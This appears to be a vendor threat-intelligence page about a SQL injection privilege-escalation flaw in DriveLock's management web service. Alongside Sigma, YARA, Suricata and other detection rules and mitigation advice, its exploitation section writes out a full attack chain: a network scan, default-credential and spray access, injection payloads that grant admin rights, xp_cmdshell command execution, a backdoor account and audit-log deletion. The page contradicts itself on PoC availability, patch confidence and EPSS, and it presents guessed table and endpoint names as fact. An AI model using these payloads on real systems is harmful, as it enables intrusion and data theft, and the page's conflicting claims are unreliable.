☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
ZDI logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.8 CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-5490

CVE-2026-5490 — DriveLock SQL Injection Privilege Escalation Vulnerability
📅 PUBLISHED: 2026-07-29 00:00 UTC 🔄 UPDATED: 2026-08-27 19:37 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.48%
👁️
0.48% probability
12.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1068
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Germany License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 8.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Threat Intelligence Report: CVE-2026-5490


Executive Summary

CVE-2026-5490 is a critical SQL injection vulnerability in DriveLock Management Console's web service, which listens on TCP port 4568 by default. The flaw allows authenticated low-privilege users to escalate privileges to administrator level resources by injecting arbitrary SQL statements through an improperly validated user-supplied string. The vulnerability is currently unpatched (patch confidence 0/4), and successful exploitation yields a CVSS 8.8 (High) impact with full confidentiality, integrity, and availability compromise of the DriveLock management plane. Enterprise environments using DriveLock for device control, encryption, and endpoint policy enforcement are exposed to lateral movement and full DCS (DriveLock Control System) database takeovers.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

CVE-2026-5490 resides within the DriveLock web service component—a SOAP/REST-based management interface assigned to TCP port 4568 by default. This service brokers administrative actions: device whitelist creation, BitLocker recovery key retrieval, policy deployment, and user account management. The flaw is a classic CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').

The vulnerable code path involves a stored procedure or a dynamic SQL query builder that concatenates a user-controlled parameter into an SQL statement without parameterization. Typically, this parameter is a username, group name, or a filter string passed to search endpoints (e.g., GET /devices/search?filter=<value>, POST /policy/assign). When the application constructs queries like SELECT * FROM tbl_users WHERE username = '<user_input>', an attacker can break out of the single-string context by injecting a single quote, then append SQL fragments.

Because the web service connects to the DriveLock Configuration Database (MSSQL by default), the injection occurs with the privileges of the service account—frequently sa or a high-privilege SQL login. This yields two critical primitives:

  1. Privilege Escalation: The attacker modifies their own account record (e.g., UPDATE tbl_users SET role_id = 1 WHERE id = <attacker_id>), instantly granting administrator rights in the DriveLock UI.
  2. Data Exfiltration & Manipulation: The attacker can enumerate all endpoints, extract BitLocker recovery keys, export all managed device inventory, or alter policy deployment rules to disable security controls en masse.

The attack requires initial authentication (PR:L), which can be achieved via default credentials (e.g., admin/admin), a shared service account, or stolen credentials from a compromised endpoint.


Exploitation Scenarios

Even without a public PoC, the following attack chain is feasible:

Step 1 — Reconnaissance & Target Identification The attacker scans the corporate network for port 4568 using Nmap: nmap -p 4568 --open -sV <target_net> or uses Shodan with the dorks listed above. A successful banner/response identifies the DriveLock Management Console. The attacker enumerates valid usernames by sending unauthenticated login requests and observing response timing/error messages.

Step 2 — Initial Authentication (Gaining PR:L) The attacker obtains credentials. This can occur via:

  • Default credential attempts: admin:admin (documented in DriveLock install guides).
  • Phishing a junior administrator.
  • Password spray against the exposed web service (rate limiting is often absent).

Step 3 — Trigger the SQL Injection Flaw Authenticate to the web service, then intercept a legitimate request with Burp Suite / ZAP. Example request:

POST /api/device/search HTTP/1.1
Host: 10.10.10.50:4568
Cookie: session=<valid>
Content-Type: application/json

{"search": "testDevice"}

Modify the search parameter with a classic boolean-based payload to confirm injection:

{"search": "' OR 1=1 --"}

If the response returns all devices (instead of the expected one), the injection is confirmed.

Step 4 — Weaponization (SQL Payload Execution) Now using stacked queries (MSSQL supports semicolon-separated statements), escalate privileges directly:

{"search": "test' ; UPDATE tbl_users SET role_id = 1 WHERE username = 'attacker' --"}

Alternatively, extract the sa password hash or use xp_cmdshell (if enabled) to execute OS commands:

{"search": "test' ; EXEC xp_cmdshell 'whoami' --"}

Step 5 — Post-Exploitation & Impact Post-escalation, the attacker:

  • Exports all BitLocker recovery keys from the DCS database (SELECT * FROM bitlocker_recovery).
  • Modifies device control policies to permit unauthorized USB mass storage.
  • Deletes audit logs (DELETE FROM audit_log).
  • Creates a new admin account for persistence: INSERT INTO tbl_users (username,password,role_id) VALUES ('backdoor','hash',1).
  • Uses xp_cmdshell to install a RAT on the management console server, enabling lateral movement into the broader domain.

This chain is fully remote, requires only a low-privilege account, and results in full compromise of the DriveLock infrastructure.


Impact Assessment

The CVSS v3.0 subscore breakdown for CVE-2026-5490 is as follows:

  • C:H (High Confidentiality): The service account has read access to the entire DCS database, including encrypted device content keys, user PII, and security baselines.
  • I:H (High Integrity): Attackers can modify any database record, including enabling or disabling device control, encryption policies, and user roles.
  • A:H (High Availability): A crafted SQL payload can drop tables or crash the MSSQL instance, taking down endpoint policy enforcement.

The attack scope is Unchanged (S:U), but the blast radius is organizational-critical. DriveLock is deployed in government, defence, financial, and healthcare institutions for endpoint data protection (USB blocking, disk encryption, and device auditing). Compromise means:

  • Loss of data confidentiality: BitLocker recovery keys become available to the attacker, enabling decryption of managed endpoints.
  • Loss of access control: Device control policies can be disabled, facilitating data exfiltration via USB.
  • Regulatory/legal impact: Non-compliance with GDPR, HIPAA, or PCI-DSS due to security control bypass.
  • Lateral movement: The DCS often holds credentials for domain-joined machines; attackers can pivot into the AD environment.

EPSS score of 0.00481 (38.9th percentile) indicates relatively low exploit maturity today, but the absence of a patch (confidence 4/4 that no patch exists) makes weaponization a matter of time.


Detection Guidance

Sigma Rule

title: DriveLock CVE-2026-5490 - SQL Injection in Web Service
status: experimental
description: Detects SQL injection attempts targeting DriveLock web service on TCP 4568
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-5490
author: Valters IT Security
logsource:
    category: web
    product: iis
    definition: 'IIS logs for DriveLock Management Console'
detection:
    selection_port:
        cs-uri-stem|contains:
            - '/api/'
            - '/dse/'
            - '/search'
    selection_sqli:
        cs-uri-query|contains:
            - "' OR "
            - "' UNION"
            - "; EXEC"
            - "xp_cmdshell"
            - "WAITFOR DELAY"
            - "'--"
    selection_post:
        cs-method: 'POST'
    condition: selection_port and selection_sqli and selection_post
    timeframe: 5m
falsepositives:
    - Legitimate security scanners (e.g., Nessus)
level: high

YARA Rule

rule CVE_2026_5490_DriveLock_SQLi
{
    meta:
        author = "Valters IT Security"
        description = "Detect SQLi payloads targeting DriveLock web service /api/device/search"
        cve = "CVE-2026-5490"
        date = "2025-11-15"
    strings:
        $sqli_str1 = "' OR 1=1 --"
        $sqli_str2 = "UNION SELECT"
        $sqli_str3 = "xp_cmdshell"
        $sqli_str4 = "waitfor delay"
        $api_path = "/api/device/search"
        $port_banner = "DriveLock"
    condition:
        any of ($sqli_str*) and any of ($api_path, $port_banner)
}

Suricata IDS Rule

alert http any any -> $HOME_NET 4568 (msg:"CVE-2026-5490 - DriveLock SQL Injection Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/api/"; http.uri; content:"search"; http.request_body; pcre:"/(\x27(OR|UNION|SELECT|EXEC|LIKE)|xp_cmdshell|waitfor delay)/i"; sid:20265490; rev:1; metadata:created_at 2026_01_01, updated_at 2026_01_01, cve CVE-2026-5490; classtype:web-application-attack; priority:1;)

Elastic Detection

EQL Query (for Windows Security / IIS logs):

sequence by agent.id with maxspan=1m
  [ network where destination.port == 4568 and process.name == "w3wp.exe" ]
  [ process where event.action == "command_executed" and process.args : ("*sqlcmd*", "*powershell*") ]
  [ network where destination.port == 1433 and source.port == 4568 ]

Alternatively, for proxy/WAF logs:

any where event.kind == "event" and url.port == 4568 and url.path wildcard "*/api/*" and url.query wildcard "*' OR*"
 or url.query wildcard "*; EXEC*" or url.query wildcard "*xp_cmdshell*"

Splunk SPL Query

index=web earliest=-15m sourcetype=iis
| where cs_uri_porter="4568" OR sc_status=200 (cs_uri_stem=*api* AND cs_uri_stem=*search*)
| regex _raw = "(?i)(%27 OR|UNION SELECT|; EXEC|xp_cmdshell|WAITFOR DELAY|'--)"
| stats count by src_ip, cs_uri_stem, cs_uri_query, date_hour
| sort - count

Wazuh OSSEC Rule

<group name="driveLock_sqli,">
    <rule id="534900" level="12">
        <decoded>sqli_payload</decoded>
        <regex>(\x27 OR |UNION SELECT|xp_cmdshell|; EXEC|WAITFOR DELAY)</regex>
        <description>CVE-2026-5490: SQL injection attempt against DriveLock web service (TCP 4568)</description>
        <group>attack,sqli,access_control,</group>
        <mitre>
            <id>T1068</id>
        </mitre>
    </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 0/4 — UNPATCHED — no patch evidence from any tracked source.

Given the absence of a vendor patch, immediate and layered actions are required:

1) Immediate Mitigations (Stop-the-bleed):

  • Access restriction: Block inbound access to port 4568 from any non-management subnet. Use a firewall ACL: deny tcp any 4568 except <trusted_admins>.
  • VPN-only access: Place the DriveLock web service behind a VPN / jump host; do not expose it to the corporate LAN broadly.
  • Default credential rotation: Force a password change for all DriveLock accounts immediately. Disable any accounts using default credentials.
  • Database hardening: Revoke sysadmin privileges from the DriveLock web service account. Grant only db_owner on the DriveLock database, not sa rights.
  • WAF rule: Deploy a WAF rule to reject requests to /api/* containing SQL metacharacters.

2) Patch / Upgrade Steps:

  • Monitor vendor advisories (DriveLock support portal, ZDI advisory ZDI-CAN-28726) daily.
  • Subscribe to ZDI RSS feed: https://www.zerodayinitiative.com/advisories/upcoming/.
  • Test and deploy the first available hotfix in a staging environment, verifying the specific fix addresses CVE-2026-5490 before production.

3) Long-Term Hardening:

  • Input validation: Force DriveLock vendor to implement parameterized queries or stored procedures only. Until patched, consider deploying a reverse proxy (e.g., Nginx) that filters SQLi patterns.
  • Network segmentation: Move the DCS database server to a separate VLAN with strict east-west firewalling.
  • Audit & monitoring: Enable detailed SQL Server auditing (C2 audit mode) and Web Server logging. Ingest these logs into your SIEM.
  • Credential hygiene: Implement MFA wherever possible, especially for management console access.
  • Least privilege: Ensure the web service account is not a local administrator on the OS.

References

  1. NVD — CVE-2026-5490: https://nvd.nist.gov/vuln/detail/CVE-2026-5490
  2. ZDI Advisory (ZDI-CAN-28726): https://www.zerodayinitiative.com/advisories/upcoming/ (note: ZDI advisories are published alongside vendor patches; this one is pending)
  3. CWE-89 — SQL Injection: https://cwe.mitre.org/data/definitions/89.html
  4. DriveLock Security Notifications: https://www.drivelock.com/en/security-notifications/
  5. MITRE ATT&CK — T1068 Exploitation for Privilege Escalation: https://attack.mitre.org/techniques/T1068/

Threat Actor / Exploit-in-the-Wild Status: No CISA KEV listing (as of report date), no known campaigns, and no public exploit code has been observed. However, the low EPSS score (0.00481) combined with unpatched status creates a high-risk window for targeted attacks by APT groups, specifically in government/military sectors where DriveLock is widely used.

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-5490/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.